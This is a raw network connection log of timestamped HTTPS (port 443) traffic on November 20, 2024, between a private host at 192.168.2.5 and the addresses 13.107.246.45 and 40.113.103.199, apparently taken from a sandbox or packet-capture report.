Nov 20, 2024 01:18:43.145734072 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.145766973 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.145797014 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.145838022 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.146105051 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.146112919 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.146125078 CET	49843	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.146130085 CET	443	49843	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.146522999 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:43.147108078 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:43.147170067 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:43.148349047 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.148399115 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.148466110 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.148672104 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.148688078 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.168159008 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:43.168206930 CET	443	49840	40.113.103.199	192.168.2.5
Nov 20, 2024 01:18:43.168236971 CET	49840	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:18:43.177993059 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.178641081 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.178702116 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.178776026 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.178785086 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.178797960 CET	49845	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.178802967 CET	443	49845	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.182765007 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.182908058 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.182974100 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.240516901 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.240561008 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.240653038 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.247836113 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.247859955 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.247885942 CET	49844	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.247900963 CET	443	49844	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.251739025 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.251759052 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.254885912 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.254919052 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.255004883 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.255292892 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.255305052 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.788290977 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.789021015 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.789041042 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.789599895 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.789606094 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.816685915 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.817256927 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.817275047 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.817401886 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.817866087 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.817872047 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.818037033 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.818078995 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.818620920 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.818640947 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.884582996 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.885389090 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.885420084 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.886656046 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.886662006 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.893930912 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.894491911 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.895061016 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.895078897 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.895091057 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.895111084 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.895129919 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.895179033 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.895679951 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.895694017 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.895983934 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.896003962 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.896017075 CET	49847	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.896023989 CET	443	49847	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.900301933 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.900331020 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.900420904 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.901436090 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.901453018 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.920809031 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.920955896 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.921039104 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.921109915 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.921125889 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.921150923 CET	49848	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.921165943 CET	443	49848	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.927182913 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.927226067 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.927293062 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.927978039 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.927992105 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.934600115 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.934670925 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.934737921 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.945832968 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.945866108 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.945890903 CET	49846	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.945909023 CET	443	49846	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.955090046 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.955121040 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.955188036 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.955486059 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.955501080 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.983411074 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.983477116 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.983545065 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.983911991 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.983923912 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.983938932 CET	49849	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.983944893 CET	443	49849	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.987327099 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.987354040 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.987437963 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.987555027 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.987569094 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.992149115 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.992353916 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.992448092 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.992470980 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.992470980 CET	49850	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.992486954 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.992496014 CET	443	49850	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.995310068 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.995331049 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:43.995389938 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.995614052 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:43.995629072 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.536428928 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.537113905 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.537141085 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.538674116 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.538681030 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.574954987 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.575913906 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.575946093 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.577210903 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.577220917 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.632428885 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.633121967 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.633138895 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.633630991 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.633635998 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.638700008 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639204025 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639288902 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.639343023 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639444113 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639458895 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639463902 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.639511108 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639542103 CET	49851	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.639559031 CET	443	49851	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.639857054 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.639869928 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.640460968 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.640467882 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.641702890 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.642218113 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.642235041 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.642767906 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.642771959 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.643488884 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.643512964 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.643575907 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.643707991 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.643721104 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.676104069 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.676826000 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.676889896 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.676947117 CET	49852	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.676964045 CET	443	49852	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.680032015 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.680061102 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.680121899 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.680258036 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.680273056 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.737627029 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.738149881 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.738240957 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.740920067 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.741306067 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.741358995 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.750466108 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.750477076 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.750488997 CET	49853	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.750494003 CET	443	49853	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.752626896 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.752655029 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.752676010 CET	49854	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.752686024 CET	443	49854	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.759392023 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.759406090 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.759462118 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.760526896 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.760560989 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.760620117 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.766727924 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.766730070 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.766741991 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.766751051 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.952408075 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.954423904 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.954473019 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.954612970 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.997663975 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.997663975 CET	49855	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:44.997673035 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:44.997675896 CET	443	49855	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.082052946 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.082153082 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.082297087 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.143007994 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.143048048 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.324877024 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.350621939 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.379962921 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.397531986 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.406461954 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.406474113 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.409538031 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.409543991 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.410269022 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.414302111 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.415081024 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.415095091 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.415724039 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.415729046 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.419687986 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.419687986 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.419703960 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.419725895 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.445950031 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.445974112 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.446396112 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.446403027 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.506732941 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.506899118 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.507190943 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.511051893 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.511220932 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.514122009 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.521115065 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.521420002 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.521459103 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.521502018 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.521625042 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.543494940 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.543530941 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.543575048 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.543603897 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.543653965 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.544004917 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.544018984 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.544049025 CET	49856	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.544056892 CET	443	49856	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.546703100 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.546749115 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.547032118 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.547414064 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.547414064 CET	49858	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.547420979 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.547429085 CET	443	49858	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.553247929 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.553247929 CET	49857	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.553272009 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.553284883 CET	443	49857	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.557320118 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.557320118 CET	49859	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.557327986 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.557337046 CET	443	49859	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.557533979 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.557570934 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.726402998 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.726495981 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.726854086 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:45.812892914 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:45.861233950 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.006983995 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.007045984 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.022558928 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.022593021 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.023132086 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.023147106 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.052354097 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.052414894 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.052474976 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.056924105 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.056937933 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.059309006 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.059355021 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.059412956 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.059540987 CET	49869	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.059566975 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.124427080 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.124600887 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.124675989 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.124789953 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.124836922 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.124866962 CET	49860	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.124885082 CET	443	49860	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.132271051 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.132285118 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.132344961 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.132632971 CET	49870	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.132648945 CET	443	49870	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.216908932 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.217624903 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.217657089 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.218441963 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.218450069 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.316462994 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.316610098 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.316668034 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.316685915 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.316700935 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.316817045 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.316844940 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.316859007 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.316884041 CET	49861	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.316889048 CET	443	49861	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.320034027 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.320082903 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.320149899 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.320305109 CET	49873	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.320316076 CET	443	49873	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.645198107 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.646039009 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.646117926 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.646622896 CET	49862	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.646639109 CET	443	49862	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.692753077 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.693248034 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.693273067 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.693695068 CET	49863	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:46.693701982 CET	443	49863	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.703355074 CET	443	49869	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:46.703974962 CET	49869	443	192.168.2.5	13.107.246.45
